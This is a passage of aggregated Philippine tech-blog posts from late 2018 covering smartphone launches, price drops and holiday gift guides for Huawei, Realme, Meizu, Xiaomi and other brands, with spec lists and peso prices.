ROM: 32GB expandable via microSD card slot up to 128GB
Rear Camera: 16MP w/ PDAF, portrait mode and LED flash 
Selfie Camera: 20MP + 8MP w/ portrait mode, wide angle, and softlight LED flash 
Battery: 3,000mAh w/ Quick Charge 3.0 
OS: Android 7.1.2 Nougat 
Connectivity: WiFi, 3G, 700 MHz LTE, Bluetooth, OTG, GPS, A-GPS, dual SIM
Sensors: Accelerometer, orientation, gyroscope, proximity and gravity sensors 
Others: Fingerprint sensor 
Price: PHP 9,999 (PHP 6,999)

Price and availability

From PHP 9,999, the Next Infinity Pro with  20MP + 8MP selfie shooters is now priced at just PHP 6,999. You can get it at Cloudfone stores, kiosks, and Android Zone outlets nationwide.

          5 Reasons why Realme C1 revs up the standard of entry level phones      Cache   Translate Page      
Realme C1 has kept everyone going crazy since its recent launch on the latter part of November. But, what's the fuss about?
5 Reasons why Realme C1 revs up the standard of entry level phones
Realme C1's rear design

Related: Realme C1 Unboxing and First Impressions

In case you missed it, Realme C1 is the first smartphone introduced to the Philippines by this newly entered Chinese smartphone brand in the country. It reminds us of the OPPO A3s, but even more affordable.

But how Realme C1 is revving up the standard of entry level phones?

5 reasons why Realme C1 is the new standard of entry level phones

Realme C1's 6.2-inch display
Realme C1's 6.2-inch display

1. Good build quality - For an entry-level smartphone, we are surprised that it is built with glass-like material that makes the crowd mistaken it as a higher-priced smartphone at first look. But upon closer inspection, the textured frame is made of a metal like material while the back has a glass like material.

2. Huge screen - Realme C1 sports a huge 720p 6.2-inch curved In-Cell IPS screen. In our first impressions, we've mentioned that display is bright and saturated with thin side bezels and thicker chin bezel with a notch on top.

3. Nice internals, WHOPPING battery capacity - This entry level smartphone is equipped with 1.8GHz 64-bit Snapdragon 450 octa-core processor, Adreno 506 GPU along with 2GB RAM and 16GB expandable internal memory via microSD card slot up to 256GB (dedicated).

How can we forget about its HUGE 4,230mAh battery that makes it one of the biggest capacity for its price!

4. Capable cameras - It's one of those few entry level smartphones at this price point that features a dual rear camera set-up. It is equipped with 13MP f/2.2 + 2MP f/2.4 w/ AF and LED flash at the back. Meanwhile for the front camera, it features a 5MP f/2.2 w/ AI Beauty 2.0.

See also: Realme C1: First Camera Samples

5. Unbelievable pricing - When it was launched, we were really surprised that it was only priced at a very affordable tag of PHP 5,990 given its features! And in case you're not informed, at 12NN tomorrow, December 05, 2018, the Realme C1 will be priced at PHP 5,490 at Lazada's flash sale! That just means an additional PHP 500 off to that crazy affordable price!

We are excited how other brands will keep up with these features the Realme C1 is giving at this price point. And we are happy that at below PHP 6K, Filipinos with tight budget would not be deprived anymore of the nice smartphone features.

What do you think guys? Let us hear you in the comments!

          Huawei Nova 3i Pearl White is now here to kick off brand's #MakeSnowPossible Christmas promotion      Cache   Translate Page      
After the success of Huawei Nova 3i the past few months, the Chinese smartphone brand have brought the most requested color, Pearl White in country just in time this Christmas season. 
Huawei Nova 3i Pearl White
Huawei Nova 3i Pearl White


Huawei Nova 3i Pearl White

In our review, we've mentioned that overall, the Huawei Nova 3i arguably the best in class yet! It nearly blew all its competitors away in terms of design, build, specs, and cameras.

It is simply more premium looking than most of them. The processor it used is above average and it has large 128GB storage which is double or even quadruple than what most competing phones has.

You can get this limited edition color for only PHP 15,990.

Huawei Nova 3i Pearl White Specs

Display: 6.3-inch 2.5D curved IPS screen w/ FHD+ 2340 x 1080 resolution at 409 ppi
CPU: 2.2GHz 64-bit Kirin 710 octa-core processor
GPU: Mali-G51 MP4 w/ GPU Turbo
RAM: 4GB
ROM: 128GB expandable via microSD card slot up to 256GB
Back Camera: 16MP f/2.2 + 2MP w/ PDAF, contrast focus, Master AI, and LED flash
Selfie Camera: 24MP f/2.0+ 2MP w/ AF, Master AI, HDR Pro, and screen flash
Battery: 3,340mAh
OS: Android 8.1 Oreo w/ EMUI 8.2
Connectivity: WiFi 802.11b/g/n, 700MHz 4G LTE, Bluetooth 4.2, BLE, HWA, aptX, and aptX HD, FM Radio, OTG, GPS, A-GPS, GLONASS, BeiDou, dual SIM (hybrid)
Sensors: Accelerometer, light, orientation, proximity, gyroscope, sound, magnetic
Others: Fingerprint sensor, 3D face unlock, Colors: classic black, white, iris purple gradient, pearl white
Dimensions: 157.6 x 75.2 x 7.6 mm
Weight: 169 g
Price: PHP 15,990

Huawei Christmas Promotion

Huawei's #MakeSnowPossible campaign
Huawei's #MakeSnowPossible campaign

Since the Philippines is a tropical country, Huawei is expressing their gratitude to the Filipino's overwhelming support to the brand by #MakingSnowPossible. 

People were able to see these wonderful snow shows last December 01, 2018 at the SM Aura Premier, Taguig City. Guests were also able to explore dedicated hands-on booths showcasing all the latest Huawei products.

This Christmas season, Huawei is giving away corresponding freebies for every purchase of Huawei devices! Freebies such as wireless chargers (Mate 20 Pro), Limited Edition Outdoor Speakers (Mate 20, Nova 3, Nova 3i, MediaPad M5 Lite, MediaPad M3 Lite), Puredea Speakers (Y9 2019, P 20 Lite, Nova 2 Lite, Nova 2i), and Body Fat Scales (P20, P20 Pro).

In case you missed out on the #MakeSnowPossible event last December 01, Huawei will be holding other roadshows at malls near you! Check out this link for more info!

What do you think about the new Huawei Nova 3i Pearl White?

Share with us in the comments below!

          Sale Alert: Meizu M6s with Exynos 7872 chip is now priced at just PHP 8,990!      Cache   Translate Page      
Meizu just dropped the price of the M6s! It's the company's capable entry-level smartphone with a Samsung Exynos chip!
Sale Alert: Meizu M6s with Exynos 7872 chip is now priced at just PHP 8,990!
M6s

A great deal this season

As a quick recap, the Meizu M6s features a metal body and a 2.5D curved 5.7-inch 18:9 screen with HD+ 1440 x 720 resolution at 282 ppi.

Like what we mentioned above, it runs with the 64-bit 14nm Samsung Exynos 7872 hexa-core processor with Mali-G71 MP1 GPU. It is coupled with decent specs like 3GB RAM, 64GB of expandable storage, and 3,000mAh battery with 18W fast charging support.

On the camera part, you will find a 16MP f/2.0 CMOS primary sensor and an 8MP f/2.0 selfie camera.

There's a fingerprint scanner at the right side which can perform customized actions and Halo button below the screen for the mBack actions.

Like most modern smartphones, this handset goes with WiFi, 4G LTE, Bluetooth 4.2, GPS, GLONASS, and dual SIM slots.

It measures at 152 x 72.5 x 8 mm and weighs at 160 grams. You can get it with champagne gold, matte black, moonlight silver, and cobalt blue colors.

Price and availability

Originally, the M6s has an SRP of PHP 10,990. But now, it is down to just PHP 8,990!

Sweet right?

Thanks for the tip and photo Ronel Mordino Dimacali!

          Holiday Gift Guide 2018: What's the right Huawei device for you?      Cache   Translate Page      
Christmas is a joyous season of giving and we won't blame you if you would want a smartphone or tablet as a gift to yourself or your loved ones.
Holiday Gift Guide 2018: What's the right Huawei device for you?
Your Mate?

Huawei is one of those top mobile brands that you may want to check out. The reputable Chinese tech giant has released a lot of good devices this year.

In order to help you pick the right Huawei device for you, we created this gift guide.

Holiday Gift Guide 2018: What's the right Huawei device for you?

Huawei Y6 2018
Huawei Y6 2018

1. If you are on a tight budget - The Huawei Y6 2018 priced at PHP 5,990 could be the entry-level smartphone for you. It is a budget smartphone with a 5.7-inch FullView 18:9 screen to let you enjoy viewing things on a larger screen. It also has the Snapdragon 425 quad-core processor, 2GB RAM, 16GB storage, 3,000mAh battery, 13MP main camera, 5MP selfie camera with face unlock, and 4G LTE connectivity.
Huawei Nova 2 lite
Huawei Nova 2 lite

If you have a little bit more to spare, get the Huawei Nova 2 lite priced at PHP 9,990. It has a bigger 5.99-inch 18:9 tall display, more powerful Snapdragon 430 octa-core processor, and a 13MP + 2MP dual-rear camera setup. It also has 3GB RAM, 32GB expandable storage, 3,000mAh battery, face unlock tech, and 4G LTE connectivity.
Huawei Y9 2019
Huawei Y9 2019

2. If you are looking for a reliable all-rounder - The Huawei Y9 2019 priced at PHP 12,990 is a strong candidate. It is a smartphone that features a big screen, speedy processor, large battery capacity, and pretty good cameras.

The Huawei Y9 2019 goes with a stylish 3D-glass like back cover and big 6.5-inch FHD+ FullView screen to allow you enjoy movies, games, and more on a bigger display. The Y9 2019 is also powered by the AI-ready 64-bit Kirin 710 octa-core processor clocked at 2.2GHz, GPU Turbo powered Mali-G51 MP4 GPU, 4GB RAM for multitasking, 64GB expandable storage for your files, and 4,000mAh of battery for up to 2 days of battery life.

The Y9 is also one of the most affordable with a legit quad cameras. It has a 13MP and 2MP dual cameras at the back and a 16MP and 2MP selfie camera in front. The Y9 even has the Super Night Mode handheld long exposure feature that allows users to take extra clear and crisp low light images.
Huawei Nova 3i
Huawei Nova 3i

3. If you are looking for a premium looking phone without breaking the bank - Specs is not everything. If you need a phone with great balance of design, specs, and cameras, consider the Huawei Nova 3i priced at PHP 15,990.

It is a mid-ranger packed with flagship worthy aesthetics. It goes with a 2.5D curved back design and a beautiful iris purple gradient colors. 

The Nova 3i is also equipped with a big 6.3-inch FHD+ screen, Kirin 710 AI chip, and 4GB RAM. It is also one of the very few with massive 128GB of expandable storage in its price range.

The Nova 3i also has four cameras in total. It features a 16MP and 2MP cameras with PDAF and AI at the back and a 24MP and 2MP setup with Master AI and HDR Pro for against the light shots in front.

Recently, Huawei also seeded the Nova 3i with the AIS Super Night Mode feature.
Huawei MediaPad M5 lite
Huawei MediaPad M5 lite

4. Multimedia-centric and productivity tablet - For those who need a capable tablet for less, the Huawei MediaPad M5 lite for PHP 18,990 could be the one for you. It is the only tablet we know with premium build, big and crisp screen, large battery capacity, and stylus pen under the PHP 20K price range.
Huawei Nova 3
Huawei Nova 3

5. If you want a flagship experience for less - Go for the Huawei Nova 3 priced at PHP 25,990! The Nova 3 is a legit flagship worthy smartphone with an upper mid-range price tag.

It is a handset with stunning 3D glass design with iris purple gradient color option and a large 6.3-inch FHD+ 2.5D display.

Under the hood, it runs with the Kirin 970 processor with Mali-G72 MP12 and GPU Turbo tech. It is Huawei's first chipset with a dedicated NPU. It is also one of the most powerful in its price range.

The Kirin 970 is paired with 6GB RAM, 128GB expandable storage, and large 3,750mAh of fast charging battery.

It also has a powerful quad-camera setup. You will see a low light ready 16MP f/1.8 RGB sensor paired 24MP f/1.8 monochrome sensor w/ PDAF, contrast focus, Master AI, and LED flash at the back. It even has the AIS Super Night Mode update for stunning night shots.

For selfies, it has the 24MP f/2.0 and 2MP dual-camera setup with Master AI, HDR Pro, AR stickers, and the 3D Qmoji function.
Huawei P20 and P20 Pro
Huawei P20 and P20 Pro

6. If you are looking for fashion forward premium smartphones with powerful cameras - Check the Huawei P20 priced at PHP 31,990 and the Huawei P20 Pro for PHP 40,990.

The Huawei P20 is a compact high-end smartphone with a 5.8-inch FHD+ screen and Kirin 970 processor inside. It also has 4GB RAM and 128GB of storage.

The highlight of this device is its powerful dual-camera setup. It features a 20MP f/1.6 monochrome sensor and 12 MP f/1.8 RGB sensor with AIS and 4D predictive focus. It is one of the best in the world right now.
Triple-camera beast, the P20 Pro

On the other hand, the Huawei P20 Pro is the camera-game changer of 2018. It is the beefier version of the P20 with more cameras. It is the world's first Leica triple-camera smartphone.

If features a massive 40MP f/1.8 RGB sensor paired with a 20MP f/1.6 monochrome lens and an 8MP OIS 3x telephoto sensor. It is the currently the king of DxOMark in terms of overall camera quality. P20 Pro's camera is that good.

See also: The power of Huawei P20 Pro's night photography

Moreover, the P20 Pro has capable internals. It runs with the Kirin 970 SoC, 6GB RAM, 128GB storage, and 4,000mAh battery. It even has a stereo speaker setup which is one of the loudest in the market right now.
Huawei Mate 20
Huawei Mate 20

7. If you want the one of the most powerful gaming smartphone of 2018 that can do a little bit of everything - Our suggestion in this category is the Huawei Mate 20 priced at PHP 40,990.

As expected, the Mate 20 arrived with premium design and build. It also has an attractive and massive 6.53-inch screen with FHD+ resolution to let you enjoy content on a larger panel. Another thing! The notch is very small and it has an impressive 88 percent of screen-to-body ratio.

Moreover, this handset is a BEAST under the hood. Like the Mate 20 Pro, it is powered by the next-generation 2.6GHz 64-bit Kirin 980 octa-core processor with Dual-NPU to handle AI tasks better. It also has the Mali-G76 MP10 GPU with GPU Turbo 2.0 technology for lag-free gaming. It is even paired with 6GB RAM for multitasking and 128GB storage.

It also has 4,000mAh of battery that can last up to 2 days on a single charger and 22.5W SuperCharge that charges its big battery in just 1 hour and 15 mins.

Lastly, this device also has a triple-camera setup with ultra-wide angle lens. You will find a 12MP f/1.8 RGB sensor + 16MP f/2.2 ultra wide-angle + 8MP f/2.4 OIS telephoto sensor w/ 4D predictive focus, AIS, 5x zoom, 4K video recording, 960 fps slow motion, and dual-tone LED flash.

Impressive right?
The King of Android
The King of Android

8.  King of Android - If the Mate 20 is impressive, the Huawei Mate 20 Pro priced at PHP 49,990 is even more amazing. Arguably, it is the best smartphone in the world right now. No contest, it is the best Android handset as of writing.

It features a stunning metal and glass sandwich design with gradient colors and anti-fingerprint texture. It also has a big 6.39-inch 3D curved OLED screen with massive QHD+ 3140 x 1440 resolution at 541 ppi with over 800 nits of brightness to let you enjoy content in ultra-high-definition quality.

Inside, it is also a beast. Like the Mate 20, it runs with the 7nm 2.6GHz 64-bit Kirin 980 octa-core processor with Dual-NPU, Mali-G76 MP10 with GPU Turbo 2.0 tech, 6GB RAM, and 128GB storage.

Huawei even made its battery bigger. It has a large 4,200mAh of battery with extra fast 40W SuperCharge technoloy and 15W 
wireless charging. It is also the first smartphone in the world with reverse wireless charging technology. It simply means that you can use the Mate 20 Pro as a wireless charger to other phones with wireless charging solution.

On the camera part, it is a revolutionary machine as well. To my eyes, it is even more impressive and versatile than the P20 Pro. It features a 40MP f/1.8 RGB sensor + 20MP f/2.2 ultra wide-angle + 8MP f/2.4 OIS telephoto sensor w/ 4D predictive focus, AIS, 5x zoom, 4K video recording, 960 fps slow motion, and dual-tone LED flash.

The new feature there is the 20MP f/2.2 ultra-wide angle lens that will simply allow you to see more. You can use the ultra-wide angle for photos, night shots, light painting, super macro, and even videos.

The Mate 20 Pro also goes with 3D face unlock, In-Display fingerprint scanner in front, IR Blaster, IP68 water and dust resistance, 4G LTE Cat 21, Bluetooth 5, dual-band GPS, and a hybrid dual SIM slot with NM memory card slot.


Huawei's Christmas promo

Huawei's Christmas promo
Huawei's Christmas promo

Huawei also have promos for Huawei smartphones and tablets this Christmas season. They will come with exclusive freebies from November 16, 2018 until January 15, 2019.

The Huawei Mate 20 Pro will come with a FREE wireless charger bundle worth PHP 3,990.

The likes of Huawei Mate 20, Nova 3, Nova 3i, and MediaPad M5 lite will come with a FREE outdoor speaker worth PHP 2,990.

The P20 and P20 Pro will come with a FREE 
body fat scale worth PHP 1,490, the Huawei Y9 2019 will come with a FREE Puredea speaker worth PHP 1,490, and the Huawei Y6 2018 will come with a FREE phone case worth PHP 499.
A lot of Huawei phones are nominated at #GIZAwards2018
A lot of Huawei phones are nominated at #GIZAwards2018

Note: Most of the Huawei devices mentioned in this gift guide are also nominated at the #GIZPhoneAwards2018. To vote, just visit this link.

That's it! What's your favorite Huawei device so far?

          Huawei Y5 lite goes official, now priced at Lazada Philippines      Cache   Translate Page      
Huawei just revealed the Y5 Lite at Lazada Philippines. It is the company's budget Android Oreo (Go edition) smartphone with an 18:9 screen.
Huawei Y5 lite goes official, now priced at Lazada Philippines
Huawei Y5 lite

The highlights


The Huawei Y5 Lite features a colored polycarbonate body with 5.45-inch 1440 x 720 18:9 screen. Inside, it runs with the 64-bit MT6739 quad-core processor with PowerVR Rogue GE8100 GPU, 1GB RAM, 16GB expandable storage, and 3,020mAh battery.
18:9 screen

It also has an 8MP primary camera, 5MP selfie camera with selfie toning flash, 4G LTE connectivity, super loud receiver, and 
Android 8.1 Oreo (Go edition) OS out of the box.

Android (Go edition) is designed to run on smartphones with lesser hardware. It eats less resources and data. It also goes with the lightweight Go edition apps.

Huawei Y5 lite Specs

Display: 5.45-inch HD+ IPS 1440 x 720 resolution w/ 2.5D curved glass at 295 ppi
CPU: 1.5GHz 64-bit MT6739 quad-core processor
GPU: PowerVR Rogue GE8100
RAM: 1GB
ROM: 16GB expandable via microSD card slot up to 128GB (dedicated)
Main Camera: 8MP f/2.0 w/ AF and LED flash
Selfie Camera: 5MP f/2.2 w/ LED flash
Battery: 3,020mAh
OS: Android 8.1 Oreo (Go edition)
Connectivity: WiFi 802.11 a/b/g/n/ac, 3G, 4G LTE, FM Radio, Bluetooth 4.2, OTG, GPS, A-GPS, dual SIM
Sensors: Accelerometer, light, orientation, proximity, gyroscope, sound, magnetic
Others: Colors: black, blue, golden
Price: PHP 5,490 (PHP 4,490 flash sale price)

Price and availability

The Huawei Y5 Lite is priced at PHP 5,490. But, it will be available on 12.12 for just PHP 4,490 at Lazada.

Source: Lazada

          Holiday Gift Guide 2018: Smartphones to get in the Philippines this Christmas!      Cache   Translate Page      
Looking to gift yourself or loved ones with a brand new smartphone this Christmas season? 
Holiday Gift Guide 2018: Smartphones to get in the Philippines this Christmas!
The best for every budget

Check out this list of the best smartphones we prepared that you can buy in the Philippines today.

The best smartphones in the Philippines per price range

Ultra budget smartphone (Under PHP 2,999)

Cherry Mobile Flare A2
Cherry Mobile Flare A2

1. Cherry Mobile Flare A2 - For PHP 2,999, the Cherry Mobile Flare A2 is one of the very few with 700MHz 4G LTE connectivity in town. It also has a 5-inch FWVGA screen, Snapdragon 210 quad-core chip, 1GB RAM, 8GB storage, 2,000mAh battery, 8MP main camera, 2MP selfie camera, and a special type of Android (Go edition) OS.

Its Android 8.1 Oreo (Go edition) OS has the CherryOS 3.0 skin on the top.
Starmobile Play Click LTE
Starmobile Play Click LTE

2. Starmobile Play Click LTE - For its PHP 2,988 introductory price, the Starmobile Play Click LTE also has the 700MHz 4G LTE connectivity. It also has decent specs for the price which include the 5-inch FWVGA screen, 1.4GHz 64-bit Spreadtrum SC9832E quad-core processor, 1GB RAM, 8GB expandable storage, 8MP main camera, 5MP selfie camera, and Android 8.1 Oreo (Go edition) OS.

Budget smartphone (PHP 3,000 to PHP 5,999)


1. Huawei Y6 2018 - The Huawei Y6 2018 is one of the most popular budget phones in the country priced at PHP 5,990. It has a big 5.7-inch HD+ 18:9 screen, Snapdragon 425 SoC, 2BG RAM, 16GB storage, and 3,000mAh battery.

It also has respectable 13MP f/2.2 primary camera, 5MP f/2.2 selfie snapper, and 4G LTE connectivity.
Redmi 5
Redmi 5


2. Xiaomi Redmi 5 - The Xiaomi Redmi 5 is one of the best value for money phones at PHP 5,990. It features a metal body construction and a 5.7-inch screen. Inside, it is powered by the Snapdragon 450 processor paired with 2GB RAM, 16GB storage, and 3,300mAh battery capacity.

It also has a 12MP f/2.2 main camera, 5MP f/2.0 selfie camera, 4G LTE connectivity, fingerprint scanner, and an IR blaster.
Cherry Mobile Flare S7
Cherry Mobile Flare S7


3. Cherry Mobile Flare S7 - The Flare S7 is the only quad cam phone in its class. For the starting price of PHP 4,599, you will get a handset with a pair of 13MP OV12830 and 2MP GC2385 sensors at the back and in front.

It also has decent overall specs which include 5-inch HD+ 18:9 screen, MT6739WA quad-core processor, PowerVR GE8100 GPU, up to 3GB RAM, 16GB expandable storage, 2,400mAh battery, and 700MHz 4G LTE connectivity.

It is also one of the few with USB Type-C reversible port for the price.
Realme C1
Realme C1


4. Realme C1 - The Realme C1 is dubbed as the entry-level king for a reason. For the price of PHP 5,990, it goes with a stylish design, big screen, and powerful specs for the price. It goes with a Gorilla Glass 3 protected 6.2-inch HD+ 19:9 notch screen, Snapdragon 450 SoC, 2GB RAM, 16GB expandable storage, and massive 4,230mAh battery.

It also has a 13MP and 2MP dual-camera setup at the back, 5MP AI selfie camera, and 4G LTE connectivity.



Entry-level smartphone (PHP 6,000 to PHP 9,999)

Redmi Note 5
Redmi Note 5

1. Xiaomi Redmi Note 5 (3GB/32GB) - The Xiaomi Redmi Note 5 is one of the most exciting entry-level phones of the year. For the starting price of PHP 9,495, you can get a device with a metal clad build, 5.99-inch FHD+ 18:9 screen, Snapdragon 636 SoC, and 4,000mAh battery.

It also has the most powerful dual-camera setup for the price. It has the 12MP f/1.9 + 5MP f/2.0 setup with Dual Pixel PDAF focus. For selfies, it goes with a 13MP AI selfie shooter.

This device also has a fingerprint scanner and 4G LTE connectivity.
ASUS ZenFone Max Pro M1
ASUS ZenFone Max Pro M1

2. ASUS ZenFone Max Pro M1 (3GB/32GB) - For the starting price of PHP 9,995, the ASUS ZenFone Max Pro M1 can go toe-to-toe with the Redmi Note 5. It goes with a 5.99-inch FHD+ screen, Snapdragon 636 SoC, and 5,000mAh battery. It also has  a 13MP and 5MP dual-camera setup, 8MP selfie shooter, fingerprint scanner, and 4G LTE.
OPPO A3s
OPPO A3s

3. OPPO A3s (3GB/32GB) - The OPPO A3s is one the few with a notch and capable specs for PHP 9,990. It goes with a 6.2-inch notched screen with HD+ resolution, Snapdragon 450 SoC, and 4,230mAh battery. It also has a 13MP + 2MP dual-camera, 8MP AI selfie camera, and 4G LTE connectivity.
Alcatel 5V
Alcatel 5V

4. Alcatel 5V - The Alcatel 5V also has good specs for its asking price of PHP 9,990. It goes with a stylish 3D glass-like back cover, Dragontrail glass protected 6.2-inch HD+ 19:9 screen, 12nm 64-bit Helio P22 octa-core processor, 3GB RAM, 32GB expandable storage, 4,000mAh battery, 12MP + 2MP dual-camera, 8MP selfie camera, face unlock, fingerprint scanner, and 700MHz 4G LTE connectivity.
Vivo Y91
Vivo Y91

5. Vivo Y91 - If you need a budget smartphone with the highest screen-to-body ratio, check the Vivo Y91 priced at PHP 9,999. It is one of the very few with a 6.22-inch halo notch HD+ screen. Not only that, it also goes with a 12nm Snapdragon 439 processor, 3GB RAM, 32GB storage, and 4,030mAh battery capacity. You will also find a 13MP + 2MP dual-camera setup, 8MP AI selfie camera, face unlock, fingerprint scanner, and 700MHz 4G LTE.
Cloudfone Next Infinity Pro
Cloudfone Next Infinity Pro

6. Cloudfone Next Infinity Pro - If you are on a tight budget, the Cloudfone Next Infinity Pro is a must check for PHP 6,999. Why? It has a 5.7-inch HD+ screen, 16MP PDAF main camera and a 20MP + 8MP dual-selfie camera with portrait mode!

Its chip Snapdragon 430 chip maybe old, but it also has 3GB RAM, 32GB expandable storage, fingerprint scanner, and 700MHz 4G LTE connectivity.

Affordable mid-range smartphone (PHP 10,000 to PHP 13,999)

Honor 8X
Honor 8X

1. Honor 8X - The Honor 8X is one of the hottest smartphone in its price range for a reason. For just PHP 12,990, the Honor 8X goes with a premium real metal and glass design, massive 6.5-inch FHD+ screen with 91 percent screen-to-body ratio, powerful Kirin 710 chip, 4GB RAM, 128GB storage, and 3,750mAh battery.

It also has a good 20MP f/1.8 and 2MP dual-camera at the back with Master AI and AIS Super Night Mode feature. It is also complete with a fingerprint scanner at the back and 700MHz 4G LTE.
Huawei Y9 2019

2. Huawei Y9 2019 - Like the Honor 8X the Huawei Y9 2019 is also a feature-rich smartphone for PHP 12,990. It features a big 6.5-inch FHD+ screen, Kirin 710 processor, 4GB RAM, and 64GB expandable storage. It even has a quad-camera setup, fingerprint scanner at the back, and 4G LTE connectivity.
Xiaomi Mi 8 Lite
Xiaomi Mi 8 Lite

3. Xiaomi Mi 8 Lite (4GB/64GB) - For the starting price of PHP 13,990, the Mi 8 Lite is a very attractive smartphone as well. It features a metal and glass design, 6.26-inch FHD+ screen, Snapdragon 660 AIE chip, 3,350mAh battery with USB Type-C port, 12MP + 5MP dual-camera, 24MP selfie camera, and dual 4G LTE connectivity.
Cherry Mobile Flare S7 Plus
Cherry Mobile Flare S7 Plus

4. Cherry Mobile Flare S7 Plus - Our wildcard is the Cherry Mobile Flare S7 Plus. It is one of the most feature-rich and attractive in the affordable mid-range segment. For PHP 11,999, it features a stunning metal and glass design, Helio P60 SoC, 4GB RAM, 64GB storage, and 3,050mAh battery capacity. It even has USB Type-C charging and wireless charging. It also features one of the best cameras we ever saw for the price.


Mid-range smartphone (PHP 14,000 to PHP 22,999)


POCOPHONE F1
POCOPHONE F1

1. POCOPHONE F1 - The POCOPHONE F1 is a flagship smartphone with a mid-range price tag! For the starting price of PHP 17,990, you will get a handset with 6.18-inch FHD+ screen, Snapdragon 845 AIE flagship processor, up to 8GB RAM, up 128GB expandable storage, 4,000mAh battery, 12MP + 5MP dual-camera setup, 20MP AI selfie camera, and 4G LTE connectivity.
Huawei Nova 3i

2. Huawei Nova 3i - Earlier this year, Huawei surprised everyone with the Nova 3i. It is a well balanced smartphone packed with premium design, capable specs, and quad cameras for PHP 15,990. It has a big 6.3-inch FHD+ screen, Kirin 710 chip, 4GB RAM, 128GB storage, 16MP + 2MP dual-cam at the back with AIS Super Night Mi, 24MP + 2MP selfie dual-cam, and 700MHz 4G LTE.
Vivo V11


3. Vivo V11 - The Vivo V11 is for those in need of a very good selfie camera and tiny bezels for PHP 19,999. It features a massive 6.41-inch AMOLED screen, Snapdragon 660 AIE processor, 6GB RAM, 64GB storage, 3,400mAh battery, 12MP f/1.8 + 5MP Dual Pixel PDAF cameras, and the 25MP f/2.0 selfie camera. It is also the most affordable with an In-Display fingerprint scanner in town. Lastly, it has 700MHz 4G LTE.
Honor Play


4. Honor Play - The Honor Play is arguably the best for PHP 15,990. It features a metal and glass design with the Kirin 970 flagship processor inside. It also has the GPU Turbo technology for gaming, 4GB RAM, 64GB storage, 3,750mAh battery, 16MP f/2.2 + 2MP dual-camera with AIS Super Night Mode, 16MP selfie camera, fingerprint scanner, and 4G LTE Cat 18 connection.
OPPO F9


5. OPPO F9 - The F9 features good specs for PHP 17,990. It has a 6.3-inch waterdrop FHD+ screen and Helio P60 SoC inside. It also has 6GB RAM, 64GB expandable storage, and 3,500mAh with VOOC flash charge solution. It also has a good 25MP f/2.0 selfie camea and 700MHz 4G LTE.


Affordable premium smartphone (PHP 23,000 to PHP 39,999)

OnePlus 6T
OnePlus 6T

1. OnePlus 6T - For the starting price of PHP 31,990, the OnePlus 6T is arguably the best affordable premium smartphone in the country. It is a monster with 6.4-inch FHD+ Optic AMOLED screen, Snapdragon 845 SoC with Smart Boost technology, up to 8GB RAM, up to 256GB storage, and 3,700mAh battery with OnePlus Fast Charge.

It also has a 16MP f/1.7 Sony IMX519 sensor + 20MP f/1.7 Sony IMX376 sensor w/ PDAF, 2x zoom, OIS, EIS, LED flash, and Nightscape mode, 16MP f/1.7 Sony IMX371 selfie camera, In-Display fingerprint scanner, and 4G LTE Cat 16.
Xiaomi Mi 8 Pro
Xiaomi Mi 8 Pro

2. Xiaomi Mi 8 Pro - Like the OnePlus 6T, the Xiaomi Mi 8 Pro is a beast as well. For PHP 32,990, you will find a 6.21-inch FHD+ AMOLED screen, Snapdragon 845 SoC, 8GB RAM, 128GB storage, and 3,400mAh battery. It also has the same good 12MP f/1.8 Sony IMX363 sensor + 12MP f/2.4 Samsung S5K3M3 sensor with Dual Pixel PDAF and OIS found on the regular Mi 8. It now has an In-Display fingerprint scanner as well.
OPPO R17 Pro
OPPO R17 Pro

3. OPPO R17 Pro - If you need a really good camera low light camera phone, the OPPO R17 Pro could be an option for PHP 38,990. It has a 12MP (f/1.5/f/2.4) + 20MP f/2.6 + 3D TOF depth camera w/ PDAF, OIS and dual-tone LED flash with AI Ultra-clear Engine to capture low light images better.

It also has a 6.4-inch FHD+ Gorilla Glass 6 AMOLED screen, Snapdragon 710 SoC, 8GB RAM, 128GB storage, 3,700mAh battery with SuperVOOC flash charge, and a very stylish radiant mist color option.
Huawei Nova 3
Huawei Nova 3

4. Huawei Nova 3 - The Nova 3 is like the Nova 3i, but faster and better. For just PHP 25,990, you get a 3D glass back cover with 6.3-inch FHD+ screen and Kirin 970 processor inside. It also has large 6GB RAM, 128GB storage, and 3,750mAh with 18W fast charger.

On the camera part, you will get a 
16MP f/1.8 RGB sensor + 24MP f/1.8 monochrome sensor w/ PDAF, contrast focus, Master AI, and LED flash. For selfies, it goes with the 24MP f/2.0+ 2MP w/ AF, Master AI, HDR Pro, and screen flash. To keep it simple, the Nova 3 is a premium looking flagship with upper mid-range price tag.

Flagship smartphone (PHP 40,000 and above)

OPPO Find X
OPPO Find X

1. OPPO Find X - The OPPO Find X is the futuristic looking flagship of the year. It has a 6.4-inch screen with an impressive 93.8 percent of screen-to-body ratio. It also has the Snapdragon 845 SoC, 8GB RAM, 256GB storage, and 3,730mAh battery with VOOC flash charge solution.
ROG Phone
ROG Phone

2. ASUS ROG Phone - If you like to have a high-end smartphone with console-like accessories and decent flagship specs, the ASUS ROG Phone is an option for a price that starts at PHP 49,995.

It has a 6-inch FHD+ screen, Snapdragon 845 SoC, 8GB RAM, 128GB/512GB storage, and 4,000mAh battery. It also goes with 4G LTE and stereo speakers.

Samsung Galaxy Note9
Samsung Galaxy Note9

3. Samsung Galaxy Note9 - The Galaxy Note9 is one of the best phablets of 2018 with a starting price of PHP 55,900. It has a premium metal and glass design with IP68 water and dust resistance, 2.8GHz 64-bit Exynos 9810 octa-core processor, up to 8GB RAM, up to 512GB storage, and 4,000mAh battery. It also has 12MP (f/1.5/f/2.4) + 12MP f/2.4 telephoto lens w/ Dual Pixel and Dual OIS, 4G LTE Cat 18, stereo speakers, and the new S Pen with Bluetooth.
iPhone XS Max
iPhone XS Max


4. Apple iPhone XS Max - The new flagship iPhone also made it in our list. For a starting price of PHP 74,990, you get a handset with latest A12 Bionic 7 nm processor that promises improved overall performance. 

It also features a large 6.5-inch OLED screen, up to 512GB storage, and an improved 12MP + 12MP dual cameras. It also have an improved IP68 water, stereo speakers, and dust resistance and wireless charging solution.
Huawei Mate 20 Pro
Huawei Mate 20 Pro

5. Huawei Mate 20 Pro - The Huawei Mate 20 Pro is the flagship game-changer of the year. It is arguably the best smartphone that your money can buy right now. For PHP 49,990, you'll get an AI smartphone with stunning metal and glass design, IP68 water and dust resistance, 2.6GHz 64-bit Kirin 980 octa-core processor with Dual-NPU, 6GB LPDDR4x RAM, 128GB expandable storage via NM card, and 4,200mAh with 40W SuperCharge, 15W wireless charging, and reverse wireless charging.

